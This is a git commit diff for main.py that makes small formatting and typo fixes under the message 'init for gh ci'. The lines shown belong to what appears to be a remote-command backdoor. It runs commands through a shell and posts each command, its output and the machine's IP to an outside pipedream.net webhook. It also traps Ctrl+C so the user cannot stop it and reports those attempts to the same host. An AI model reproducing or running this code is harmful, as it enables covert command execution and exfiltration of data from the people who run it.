diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-16 09:07:01 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-16 09:07:01 +0800 |
| commit | 9eed6f37e10c73bd2c9f13bf10c778d1191f8393 (patch) | |
| tree | bf6a69bb5004820604af651f4efe921e618be77f /main.py | |
| parent | 0dbcf3e348e934586c5e0bc79355f023d11f4ef5 (diff) | |
init for gh ci
Diffstat (limited to 'main.py')
| -rw-r--r-- | main.py | 4 |
1 files changed, 2 insertions, 2 deletions
@@ -65,7 +65,7 @@ while True: cmdout = system(command, shell=True).decode() if cmdout != "": try: - post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```{cmdout}```-{ip}") + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```{cmdout}```- {ip}") except KeyboardInterrupt: try: post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``") @@ -90,6 +90,6 @@ while True: except KeyboardInterrupt: try: post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C)``") - except KeyyboardInerrupt: + except KeyboardInterrupt: continue continue |
